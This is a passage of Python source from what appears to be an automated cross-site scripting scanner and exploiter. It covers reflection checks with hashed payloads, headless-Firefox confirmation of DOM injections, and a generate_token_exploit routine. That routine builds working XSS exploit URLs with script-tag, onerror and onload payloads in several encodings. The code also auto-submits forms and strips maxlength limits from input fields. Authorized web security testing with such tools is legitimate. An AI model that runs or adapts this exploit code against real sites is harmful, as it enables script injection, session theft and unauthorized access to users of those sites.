  1306. self.add_success(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # success!
  1307. else:
  1308. if heuristic_param == "\\":
  1309. self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
  1310. elif heuristic_param == "/":
  1311. self.heuris_slash_notfound = self.heuris_slash_notfound + 1
  1312. elif heuristic_param == ">":
  1313. self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
  1314. elif heuristic_param == "<":
  1315. self.heuris_minor_notfound = self.heuris_minor_notfound + 1
  1316. elif heuristic_param == ";":
  1317. self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
  1318. elif heuristic_param == "'":
  1319. self.heuris_colon_notfound = self.heuris_colon_notfound + 1
  1320. elif heuristic_param == '"':
  1321. self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
  1322. elif heuristic_param == "=":
  1323. self.heuris_equal_notfound = self.heuris_equal_notfound + 1
  1324. self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
  1325. elif self.options.hash:
  1326. for key, value in self.final_hashes.items():
  1327. if str(key) in dest_url:
  1328. if key in curl_handle.body():
  1329. self.add_success(dest_url, key, value, query_string, orig_url, 'hashing check') # success!
  1330. else:
  1331. self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
  1332. else:
  1333. for key, value in self.final_hashes.items():
  1334. if key in current_hashes:
  1335. if "XSA" in value:
  1336. method = "XSA"
  1337. hashing = key
  1338. elif "XSR" in value:
  1339. method = "XSR"
  1340. hashing = key
  1341. elif "COO" in value:
  1342. method = "COO"
  1343. hashing = key
  1344. else:
  1345. method = value
  1346. hashing = key
  1347. if not hashing:
  1348. pass
  1349. else:
  1350. if hashing not in dest_url:
  1351. if key in current_hashes:
  1352. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1353. b64_string = payload["payload"].split("[B64]")
  1354. b64_string = b64_string[1]
  1355. b64_string = b64_string.replace('PAYLOAD', key)
  1356. b64_string = b64encode(b64_string)
  1357. b64_string = urllib.parse.urlencode({'':b64_string})
  1358. if b64_string.startswith("="):
  1359. b64_string = b64_string.replace("=", "")
  1360. if str(b64_string) in str(dest_url):
  1361. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1362. else:
  1363. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1364. else:
  1365. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1366. self.report("")
  1367. def check_hash_on_target(self, hashing, dest_url, orig_url, payload, query_string, method, curl_handle):
  1368. options = self.options
  1369. c_info = str(curl_handle.info())
  1370. c_body = str(curl_handle.body())
  1371. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1372. b64_string = payload["payload"].split("[B64]")
  1373. b64_string = b64_string[1]
  1374. b64_string = b64_string.replace('PAYLOAD', hashing)
  1375. b64_string = b64encode(b64_string)
  1376. if b64_string.startswith("="):
  1377. b64_string = b64_string.replace("=", "")
  1378. hashing = b64_string
  1379. if payload['browser'] == "[Document Object Model Injection]":
  1380. self.check_hash_using_dom(dest_url, payload, hashing, query_string, orig_url, method) # check hash using internal headless browser engine
  1381. else:
  1382. if str(hashing) in c_body and "http-code: 200" in c_info: # [XSS CHECKPOINT: anti-false positives]
  1383. self.check_false_positives(hashing, c_body, dest_url, payload, query_string, orig_url, method)
  1384. else:
  1385. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1386. def check_hash_using_dom(self, dest_url, payload, hashing, query_string, orig_url, method):
  1387. if self.cookie_set_flag == False:
  1388. self.generate_headless_cookies(orig_url)
  1389. self.cookie_set_flag = True # cookie has been set!
  1390. try:
  1391. self.driver.get(dest_url) # GET
  1392. src = self.driver.page_source
  1393. except self.dom_browser_alert as alert_text: # handled with UnexpectedAlertPresentException
  1394. if (hashing in str(alert_text)): # [XSS DOM CHECKPOINT: alert() dialog open!]
  1395. self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
  1396. self.token_arrived_hashes.append(hashing) # add token/hashing for counting
  1397. else:
  1398. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1399. else:
  1400. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1401. def check_false_positives(self, hashing, c_body, dest_url, payload, query_string, orig_url, method): # some anti false positives checkers
  1402. if str(self.options.discode) in c_body: # provided by user
  1403. self.report("[Info] Reply contains code [ --discode ] provided to be discarded -> [DISCARDING!]\n")
  1404. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1405. else:
  1406. if str('&gt;' + hashing) in c_body or str('href=' + dest_url + hashing) in c_body or str('content=' + dest_url + hashing) in c_body:
  1407. self.report("[Info] Reply looks like a 'false positive' -> [DISCARDING!]\n")
  1408. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1409. elif str(hashing+",") in c_body or str(hashing+'","') in c_body:
  1410. self.report("[Info] Reply looks like a 'false positive' -> [DISCARDING!]\n")
  1411. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1412. else:
  1413. if self.options.discode:
  1414. self.report("[Info] Reply does NOT contain code [ --discode ] provided to be discarded -> [ADDING!] ;-)\n")
  1415. self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
  1416. def add_failure(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
  1417. """
  1418. Add an attack that failed to inject
  1419. """
  1420. if method == "heuristic":
  1421. self.report(" [NOT FOUND] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1422. self.hash_notfound.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
  1423. elif method == "hashing check":
  1424. self.report(" [NOT FOUND] -> [ " + str(hashing) + " ] : [ hashing_check ]")
  1425. self.hash_notfound.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
  1426. else:
  1427. self.report(" [NOT FOUND] -> [ " + hashing + " ] : [ " + method + " ]")
  1428. self.hash_notfound.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
  1429. def add_success(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
  1430. """
  1431. Add an attack that have managed to inject code
  1432. """
  1433. if method == "heuristic":
  1434. self.report(" [FOUND !!!] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1435. self.hash_found.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
  1436. elif method == "hashing check":
  1437. self.report(" [FOUND !!!] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1438. self.hash_found.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
  1439. else:
  1440. payload_sub = payload['payload']
  1441. self.report(" [FOUND !!!] -> [ " + hashing + " ] : [ " + method + " ]")
  1442. self.hash_found.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
  1443. for reporter in self._reporters:
  1444. reporter.add_success(dest_url)
  1445. if self.options.reversecheck:
  1446. if self.options.dcp or self.options.inducedcode or self.options.dom:
  1447. pass
  1448. else:
  1449. self.do_token_check(orig_url, hashing, payload, query_string, dest_url)
  1450. def create_headless_embed_browser(self):
  1451. agents = [] # user-agents
  1452. self.cookie_set_flag = False # used for cookie
  1453. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  1454. for line in f:
  1455. agents.append(line)
  1456. try:
  1457. agent = random.choice(agents).strip() # set random user-agent
  1458. except:
  1459. agent = "Privoxy/1.0" # set static user-agent
  1460. try: # selenium + firefox + gecko(bin)
  1461. from selenium import webdriver
  1462. from selenium.webdriver.firefox.options import Options as FirefoxOptions
  1463. from selenium.common.exceptions import UnexpectedAlertPresentException as UnexpectedAlertPresentException # used for search alert dialogs at DOM
  1464. self.dom_browser_alert = UnexpectedAlertPresentException
  1465. profile = webdriver.FirefoxProfile()
  1466. profile.set_preference("general.useragent.override", str(agent)) # set Firefox (profile) - random user-agent
  1467. profile.set_preference('browser.safebrowsing.enabled', True)
  1468. profile.set_preference('toolkit.telemetry.enabled', False)
  1469. profile.set_preference('webdriver_accept_untrusted_certs', True)
  1470. profile.set_preference('security.insecure_field_warning.contextual.enabled', False)
  1471. profile.set_preference('security.insecure_password.ui.enabled', False)
  1472. profile.set_preference('extensions.logging.enabled', False)
  1473. options = FirefoxOptions()
  1474. options.add_argument("-headless") # set Firefox (options) - headless mode
  1475. options.add_argument("-no-remote")
  1476. options.add_argument("-no-first-run")
  1477. options.add_argument("-app")
  1478. options.add_argument("-safe-mode")
  1479. current_dir = os.getcwd()
  1480. driver = webdriver.Firefox(options=options, firefox_profile=profile, executable_path=current_dir+"/core/driver/geckodriver", log_path=os.devnull) # wrapping!
  1481. except:
  1482. driver = None
  1483. self.token_arrived_flag = False
  1484. if DEBUG == True:
  1485. traceback.print_exc()
  1486. return driver
  1487. def generate_GET_token_payload(self, orig_url, dest_url, query_string, hashing, payload, vector_found):
  1488. if "VECTOR" in orig_url:
  1489. dest_url = orig_url
  1490. else:
  1491. if not dest_url.endswith("/"):
  1492. dest_url = dest_url + "/"
  1493. dest_url = orig_url + query_string
  1494. dest_url = dest_url.split("#")[0]
  1495. p_uri = urlparse(dest_url)
  1496. uri = p_uri.netloc
  1497. path = p_uri.path
  1498. target_params = parse_qs(urlparse(dest_url).query, keep_blank_values=False)
  1499. for key, value in target_params.items():
  1500. if key == vector_found: # only replace parameters with valid hashes
  1501. target_params[key] = payload['payload']
  1502. else:
  1503. target_params[key] = target_params[key][0]
  1504. target_url_params = urllib.parse.urlencode(target_params)
  1505. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  1506. dest_url = urllib.parse.unquote(dest_url)
  1507. tok_url = self.generate_token_exploit(hashing, dest_url, payload)
  1508. return tok_url
  1509. def generate_POST_token_payload(self, orig_url, dest_url, query_string, hashing, payload, vector_found):
  1510. if vector_found in dest_url:
  1511. v = dest_url.split(vector_found+"=")[1]
  1512. p = v.split("&")[0]
  1513. dest_url = dest_url.replace(p, payload['payload'])
  1514. dest_url = urllib.parse.unquote(dest_url)
  1515. tok_url = self.generate_token_exploit(hashing, dest_url, payload)
  1516. return tok_url
  1517. def generate_token_exploit(self, hashing, dest_url, payload):
  1518. self_url = "http://localhost:19084/success/" + hashing
  1519. shadow_js_inj = "document.location=document.location.hash.substring(1)"
  1520. shadow_inj = "<SCrIpT>" + shadow_js_inj + "</ScRiPt>"
  1521. _e = self.encoding_permutations
  1522. if self.options.script: # manual injections
  1523. if 'XSS' in dest_url:
  1524. dest_url = dest_url.replace('XSS', hashing)
  1525. elif 'XS1' in dest_url:
  1526. dest_url = dest_url.replace('XS1', hashing)
  1527. if "'>" in dest_url:
  1528. dest_url = dest_url.split("'>")[0]
  1529. tok_url = dest_url + _e("'>" + shadow_inj)
  1530. tok_url += '#' + self_url
  1531. elif '">' in dest_url:
  1532. dest_url = dest_url.split('">')[0]
  1533. tok_url = dest_url + _e('">' + shadow_inj)
  1534. tok_url += '#' + self_url
  1535. elif 'onerror=' in dest_url:
  1536. dest_url = dest_url.split('onerror=')[0]
  1537. tok_url = dest_url + _e('onerror=' + shadow_js_inj + ">")
  1538. tok_url+= '#' + self_url
  1539. elif 'onError=' in dest_url:
  1540. dest_url = dest_url.split('onError=')[0]
  1541. tok_url = dest_url + _e('onError=' + shadow_js_inj + ">")
  1542. tok_url+= '#' + self_url
  1543. elif 'onload=' in dest_url:
  1544. dest_url = dest_url.split('onload=')[0]
  1545. tok_url = dest_url + _e('onload=' + shadow_js_inj + ">")
  1546. tok_url+= '#' + self_url
  1547. elif 'onLoad=' in dest_url:
  1548. dest_url = dest_url.split('onLoad=')[0]
  1549. tok_url = dest_url + _e('onLoad=' + shadow_js_inj + ">")
  1550. tok_url+= '#' + self_url
  1551. else:
  1552. tok_url = dest_url + "#" + self_url
  1553. else: # default + auto injections
  1554. if 'VECTOR' in dest_url:
  1555. dest_url = dest_url.replace('VECTOR', payload['payload'])
  1556. if '">PAYLOAD' in dest_url:
  1557. tok_url = dest_url.replace('">PAYLOAD', _e('">' + shadow_inj))
  1558. tok_url += '#' + self_url
  1559. elif "'>PAYLOAD" in dest_url:
  1560. tok_url = dest_url.replace("'>PAYLOAD", _e("'>" + shadow_inj))
  1561. tok_url += '#' + self_url
  1562. elif "javascript:PAYLOAD" in dest_url:
  1563. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1564. tok_url = dest_url.replace("javascript:PAYLOAD", _e("javascript:" + shadow_js_inj))
  1565. tok_url+= '#' + self_url
  1566. elif '"PAYLOAD"' in dest_url:
  1567. tok_url = dest_url.replace('"PAYLOAD"', '"' + self_url + '"')
  1568. elif "'PAYLOAD'" in dest_url:
  1569. tok_url = dest_url.replace("'PAYLOAD'", "'" + self_url + "'")
  1570. elif 'PAYLOAD' in dest_url and 'SRC' in dest_url:
  1571. tok_url = dest_url.replace('PAYLOAD', self_url)
  1572. elif "SCRIPT" in dest_url:
  1573. tok_url = dest_url.replace('PAYLOAD', shadow_js_inj)
  1574. tok_url += '#' + self_url
  1575. elif 'onerror="PAYLOAD"' in dest_url:
  1576. tok_url = dest_url.replace('onerror="PAYLOAD"', _e('onerror="' + shadow_inj + '"'))
  1577. tok_url+= '#' + self_url
  1578. elif 'onerror="javascript:PAYLOAD"' in dest_url:
  1579. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1580. tok_url = dest_url.replace('onerror="javascript:PAYLOAD"', _e('onerror="javascript:' + shadow_js_inj + '"'))
  1581. tok_url+= '#' + self_url
  1582. elif 'onError="PAYLOAD"' in dest_url:
  1583. tok_url = dest_url.replace('onError="PAYLOAD"', _e('onError="' + shadow_inj + '"'))
  1584. tok_url+= '#' + self_url
  1585. elif 'onError="javascript:PAYLOAD"' in dest_url:
  1586. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1587. tok_url = dest_url.replace('onError="javascript:PAYLOAD"', _e('onError="javascript:' + shadow_js_inj + '"'))
  1588. tok_url+= '#' + self_url
  1589. elif 'onload="PAYLOAD"' in dest_url:
  1590. tok_url = dest_url.replace('onload="PAYLOAD"', _e('onload="' + shadow_inj + '"'))
  1591. tok_url+= '#' + self_url
  1592. elif 'onload="javascript:PAYLOAD"' in dest_url:
  1593. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1594. tok_url = dest_url.replace('onload="javascript:PAYLOAD"', _e('onload="javascript:' + shadow_js_inj + '"'))
  1595. tok_url+= '#' + self_url
  1596. elif 'onLoad="PAYLOAD"' in dest_url:
  1597. tok_url = dest_url.replace('onLoad="PAYLOAD"', _e('onLoad="' + shadow_inj + '"'))
  1598. tok_url+= '#' + self_url
  1599. elif 'onLoad="javascript:PAYLOAD"' in dest_url:
  1600. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1601. tok_url = dest_url.replace('onLoad="javascript:PAYLOAD"', _e('onLoad="javascript:' + shadow_js_inj + '"'))
  1602. tok_url+= '#' + self_url
  1603. elif '<PAYLOAD>' in dest_url:
  1604. tok_url = dest_url.replace("<PAYLOAD>", _e(shadow_inj))
  1605. tok_url+= '#' + self_url
  1606. elif 'PAYLOAD' in dest_url:
  1607. tok_url = dest_url.replace("PAYLOAD", _e(shadow_inj))
  1608. tok_url+= '#' + self_url
  1609. elif 'href' in dest_url and 'PAYLOAD' in dest_url:
  1610. tok_url = dest_url.replace('PAYLOAD', self_url)
  1611. elif 'HREF' in dest_url and 'PAYLOAD' in dest_url:
  1612. tok_url = dest_url.replace('PAYLOAD', self_url)
  1613. elif 'url' in dest_url and 'PAYLOAD' in dest_url:
  1614. tok_url = dest_url.replace('PAYLOAD', self_url)
  1615. else:
  1616. tok_url = dest_url + "#" + self_url
  1617. return tok_url
  1618. def do_token_check(self, orig_url, hashing, payload, query_string, dest_url): # searching for a [100% VULNERABLE] XSS exploit!
  1619. tok_url = None
  1620. tok_total = []
  1621. if self.hash_found:
  1622. for l in self.hash_found:
  1623. vector_found = l[2]
  1624. hash_found = l[3]
  1625. if hashing in hash_found:
  1626. if not self.options.postdata: # GET
  1627. tok_url = self.generate_GET_token_payload(orig_url, dest_url, query_string, hashing, payload, vector_found)
  1628. else: # POST
  1629. tok_url = self.generate_POST_token_payload(orig_url, dest_url, query_string, hashing, payload, vector_found)
  1630. if tok_url:
  1631. self.send_token_exploit(orig_url, tok_url, hashing, vector_found)
  1632. def generate_headless_cookies(self, orig_url): # generate cookies for internal headless browser engine
  1633. self.driver.get(orig_url)
  1634. r_cookies = self.driver.get_cookies() # get cookies
  1635. if self.options.cookie:
  1636. cookie = SimpleCookie()
  1637. cookie.load(self.options.cookie)
  1638. for key, morsel in cookie.items():
  1639. for c in r_cookies:
  1640. if key == c["name"]:
  1641. c["value"] = str(morsel.value)
  1642. for c in r_cookies:
  1643. self.driver.add_cookie(c) # add cookies to driver
  1644. def send_token_exploit(self, orig_url, tok_url, hashing, vector_found):
  1645. try:
  1646. if self.cookie_set_flag == False:
  1647. if not self.options.postdata: # GET
  1648. self.generate_headless_cookies(tok_url) # send 'tok_url'
  1649. else: # POST
  1650. self.generate_headless_cookies(orig_url) # send 'orig_url'
  1651. self.cookie_set_flag = True # cookie has been set!
  1652. if self.options.postdata: # GET + web forms scrapping + POST
  1653. self.driver.get(orig_url) # GET request to store forms
  1654. tok_parsed = parse_qs(tok_url)
  1655. param_found = []
  1656. for param_parsed in tok_parsed: # find params
  1657. param = self.driver.find_element_by_name(param_parsed) # by name
  1658. if not param:
  1659. param = self.driver.find_element_by_id(param_parsed) # by id
  1660. if param:
  1661. value = str(tok_parsed[param_parsed])
  1662. if "#http://localhost:19084/success/"+str(hashing) in value: # re-parsing injected params for POST
  1663. value = value.replace("#http://localhost:19084/success/"+str(hashing), "")
  1664. if "<SCrIpT>document.location=document.location.hash.substring(1)</ScRiPt>" in value:
  1665. value = value.replace("<SCrIpT>document.location=document.location.hash.substring(1)", "<SCrIpT src='http://localhost:19084/success/"+str(hashing)+"'>")
  1666. if "['" in value:
  1667. value = value.replace("['", "")
  1668. if "']" in value:
  1669. value = value.replace("']", "")
  1670. param.send_keys(str(value))
  1671. param_found.append(param)
  1672. max_length = param.get_attribute("maxlength")
  1673. if max_length: # bypass max length filters by changing DOM | black magic!
  1674. self.driver.execute_script("arguments[0].setAttribute('maxlength', arguments[1])", param, '9999999')
  1675. if len(param_found) == len(tok_parsed): # form fully filled!
  1676. login = self.driver.find_element_by_xpath("//*[@type='submit']") # find submit by type
  1677. login.click() # click it!
  1678. else: # GET
  1679. self.driver.get(tok_url)
  1680. if tok_url not in self.final_attacks:
  1681. self.final_attacks[hashing] = {'url': tok_url}
  1682. self.token_arrived_flag = True
  1683. else:
  1684. self.token_arrived_flag = False
  1685. except:
  1686. self.token_arrived_flag = False
  1687. if DEBUG == True:
  1688. traceback.print_exc()
  1689. def _report_attack_failure(self, curl_handle, dest_url, payload,\
  1690. query_string, orig_url):
  1691. """
  1692. report connection failure of an attack
  1693. """
  1694. options = self.options
  1695. current_hashes = [] # to check for ongoing hashes
  1696. if payload['browser'] == "[Heuristic test]":
  1697. for key, value in self.hashed_injections.items():
  1698. if key not in current_hashes:
  1699. self.final_hashes[key] = value
  1700. current_hashes.append(key)
  1701. elif self.options.hash:
  1702. for key, value in self.hashed_injections.items():
  1703. self.final_hashes[key] = value
  1704. current_hashes.append(key)
  1705. else:
  1706. self.report("-"*45)
  1707. self.report("\n[!] Hashing: \n")
  1708. for key, value in self.hashed_injections.items():
  1709. if str(key) in str(dest_url): # GET
  1710. if key not in current_hashes:
  1711. self.report(" [ " +key+" ] : [" , value + " ]")
  1712. self.final_hashes[key] = value
  1713. current_hashes.append(key)
  1714. else:
  1715. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1716. b64_string = payload["payload"].split("[B64]")
  1717. b64_string = b64_string[1]
  1718. b64_string = b64_string.replace('PAYLOAD', key)
  1719. b64_string = b64encode(b64_string)
  1720. b64_string = urllib.parse.urlencode({'':b64_string})
  1721. if b64_string.startswith("="):
  1722. b64_string = b64_string.replace("=", "")
  1723. if str(b64_string) in str(dest_url):
  1724. if key not in current_hashes:
  1725. self.report(" [ " +key+" ] : [" , value + " ]")
  1726. self.final_hashes[key] = value
  1727. current_hashes.append(key)
  1728. else: # when using encoders (Str, Hex, Dec...)
  1729. payload_string = payload["payload"].replace("PAYLOAD", key)
  1730. hashed_payload = self.encoding_permutations(payload_string)
  1731. if self.options.Cem:
  1732. enc_perm = options.Cem.split(",")
  1733. for e in enc_perm:
  1734. hashed_payload = self.encoding_permutations(payload_string)
  1735. if e == "Str":
  1736. hashed_payload = hashed_payload.replace(",", "%2C")
  1737. if e == "Mix":
  1738. hashed_payload=urllib.parse.quote(hashed_payload)
  1739. if e == "Dec":
  1740. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1741. if e == "Hex":
  1742. hashed_payload = hashed_payload.replace("%", "%25")
  1743. if e == "Hes":
  1744. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1745. hashed_payload = hashed_payload.replace(";", "%3B")
  1746. else:
  1747. if self.options.Str:
  1748. hashed_payload = hashed_payload.replace(",", "%2C")
  1749. if self.options.Mix:
  1750. hashed_payload=urllib.parse.quote(hashed_payload)
  1751. if self.options.Dec:
  1752. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1753. if self.options.Hex:
  1754. hashed_payload = hashed_payload.replace("%", "%25")
  1755. if self.options.Hes:
  1756. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1757. hashed_payload = hashed_payload.replace(";", "%3B")
  1758. if str(hashed_payload) in str(dest_url):
  1759. if key not in current_hashes:
  1760. self.report(" [ " +key+" ] : [" , value + " ]")
  1761. self.final_hashes[key] = value
  1762. current_hashes.append(key)
  1763. if self.extra_hashed_injections:
  1764. for k, v in self.extra_hashed_injections.items():
  1765. payload_url = str(v[1])
  1766. if payload_url == payload["payload"]:
  1767. if k not in current_hashes:
  1768. self.report(" [ " +k+" ] : [" , v[0] + " ]")
  1769. self.final_hashes[k] = v[0]
  1770. current_hashes.append(k)
  1771. self.report("\n"+"-"*45+"\n")
  1772. if payload['browser'] == "[Heuristic test]":
  1773. self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
  1774. else:
  1775. if self.extra_hashed_injections:
  1776. extra_attacks=[]
  1777. if options.xsa:
  1778. extra_attacks.append("XSA")
  1779. if options.xsr:
  1780. extra_attacks.append("XSR")
  1781. if options.coo:
  1782. extra_attacks.append("COO")
  1783. if extra_attacks:
  1784. extra_attacks = "+ "+ str(extra_attacks)
  1785. if options.postdata:
  1786. self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
  1787. else:
  1788. self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
  1789. else:
  1790. if options.postdata:
  1791. self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
  1792. else:
  1793. self.report("[*] Trying: \n\n" + dest_url.strip()+"\n")
  1794. if not self.options.hash and not self.options.script:
  1795. if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
  1796. pass
  1797. else:
  1798. self.report("-"*45)
  1799. if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
  1800. pass
  1801. else:
  1802. if not "XSS" in dest_url or not "X1S" in dest_url:
  1803. if self.options.xsa or self.options.xsr or self.options.coo:
  1804. pass
  1805. else:
  1806. self.report("-"*45)
  1807. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1808. if not self.options.verbose:
  1809. self.report("-"*45 + "\n")
  1810. else:
  1811. self.report("-"*45)
  1812. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1813. if not self.options.verbose:
  1814. self.report("-"*45 + "\n")
  1815. # statistics injections counters
  1816. if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
  1817. self.check_positives = self.check_positives + 1
  1818. elif payload['browser']=="[Data Control Protocol Injection]":
  1819. self.dcp_injection = self.dcp_injection + 1
  1820. elif payload['browser']=="[Document Object Model Injection]":
  1821. self.dom_injection = self.dom_injection + 1
  1822. elif payload['browser']=="[Induced Injection]":
  1823. self.httpsr_injection = self.httpsr_injection + 1
  1824. elif payload['browser']=="[manual_injection]":
  1825. self.manual_injection = self.manual_injection + 1
  1826. else:
  1827. self.auto_injection = self.auto_injection +1
  1828. if not self.hashed_injections:
  1829. for k, v in self.extra_hashed_injections.items():
  1830. if k in current_hashes:
  1831. if v[0] == "XSA":
  1832. agent = v[1]
  1833. agent = agent.replace("PAYLOAD", k)
  1834. Curl.agent = agent
  1835. if v[0] == "XSR":
  1836. referer = v[1]
  1837. referer = referer.replace("PAYLOAD", k)
  1838. Curl.referer = referer
  1839. if v[0] == "COO":
  1840. cookie = v[1]
  1841. cookie = cookie.replace("PAYLOAD", k)
  1842. Curl.cookie = cookie
  1843. else:
  1844. for key, value in self.hashed_injections.items():
  1845. for k, v in self.extra_hashed_injections.items():
  1846. payload_url = v[1]
  1847. payload_url = payload_url.replace("PAYLOAD",key)
  1848. payload_url = payload_url.replace(" ", "+") # black magic!
  1849. final_dest_url = str(urllib.parse.unquote(dest_url.strip()))
  1850. if payload_url in final_dest_url:
  1851. if v[0] == "XSA":
  1852. agent = v[1]
  1853. agent = agent.replace("PAYLOAD", k)
  1854. Curl.agent = agent
  1855. if v[0] == "XSR":
  1856. referer = v[1]
  1857. referer = referer.replace("PAYLOAD", k)
  1858. Curl.referer = referer
  1859. if v[0] == "COO":
  1860. cookie = v[1]
  1861. cookie = cookie.replace("PAYLOAD", k)
  1862. Curl.cookie = cookie
  1863. else:
  1864. if k in current_hashes:
  1865. if v[0] == "XSA":
  1866. agent = v[1]
  1867. agent = agent.replace("PAYLOAD", k)
  1868. Curl.agent = agent
  1869. if v[0] == "XSR":
  1870. referer = v[1]
  1871. referer = referer.replace("PAYLOAD", k)
  1872. Curl.referer = referer
  1873. if v[0] == "COO":
  1874. cookie = v[1]
  1875. cookie = cookie.replace("PAYLOAD", k)
  1876. Curl.cookie = cookie
  1877. if options.verbose:
  1878. self.report("-"*45)
  1879. self.report("\n[+] HTTP Headers Verbose:\n")
  1880. self.report(" [Client Request]")
  1881. Curl.print_options()
  1882. self.report(" [Server Reply]\n")
  1883. self.report(curl_handle.info())
  1884. self.report("="*45)
  1885. self.report("[*] Injection(s) Results:")
  1886. self.report("="*45 + "\n")
  1887. if payload['browser']=="[Heuristic test]":
  1888. for key, value in self.final_hashes.items():
  1889. if str(key) in dest_url:
  1890. heuristic_string = key
  1891. heuristic_param = str(payload['payload']).strip('XSS')
  1892. if heuristic_param == "\\":
  1893. self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
  1894. elif heuristic_param == "/":
  1895. self.heuris_slash_notfound = self.heuris_slash_notfound + 1
  1896. elif heuristic_param == ">":
  1897. self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
  1898. elif heuristic_param == "<":
  1899. self.heuris_minor_notfound = self.heuris_minor_notfound + 1
  1900. elif heuristic_param == ";":
  1901. self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
  1902. elif heuristic_param == "'":
  1903. self.heuris_colon_notfound = self.heuris_colon_notfound + 1
  1904. elif heuristic_param == '"':
  1905. self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
  1906. elif heuristic_param == "=":
  1907. self.heuris_equal_notfound = self.heuris_equal_notfound + 1
  1908. self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
  1909. elif self.options.hash:
  1910. for key, value in self.final_hashes.items():
  1911. self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
  1912. self.report("\n" +"="*45)
  1913. else:
  1914. for key, value in self.final_hashes.items():
  1915. if "XSA" in value:
  1916. method = "xsa"
  1917. hashing = key
  1918. elif "XSR" in value:
  1919. method = "xsr"
  1920. hashing = key
  1921. elif "COO" in value:
  1922. method = "coo"
  1923. hashing = key
  1924. else:
  1925. method = "url"
  1926. hashing = key
  1927. if self.options.Str:
  1928. payload_string = payload["payload"].replace("PAYLOAD", key)
  1929. hashed_payload = self.encoding_permutations(payload_string)
  1930. hashed_payload = hashed_payload.replace(",", "%2C")
  1931. if str(hashed_payload) in str(dest_url):
  1932. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1933. elif self.options.Mix:
  1934. payload_string = payload["payload"].replace("PAYLOAD", key)
  1935. hashed_payload = self.encoding_permutations(payload_string)
  1936. hashed_payload=urllib.parse.quote(hashed_payload)
  1937. if str(hashed_payload) in str(dest_url):
  1938. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1939. elif self.options.Dec:
  1940. payload_string = payload["payload"].replace("PAYLOAD", key)
  1941. hashed_payload = self.encoding_permutations(payload_string)
  1942. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1943. if str(hashed_payload) in str(dest_url):
  1944. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1945. elif self.options.Hex:
  1946. payload_string = payload["payload"].replace("PAYLOAD", key)
  1947. hashed_payload = self.encoding_permutations(payload_string)
  1948. hashed_payload = hashed_payload.replace("%", "%25")
  1949. if str(hashed_payload) in str(dest_url):
  1950. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1951. elif self.options.Hes:
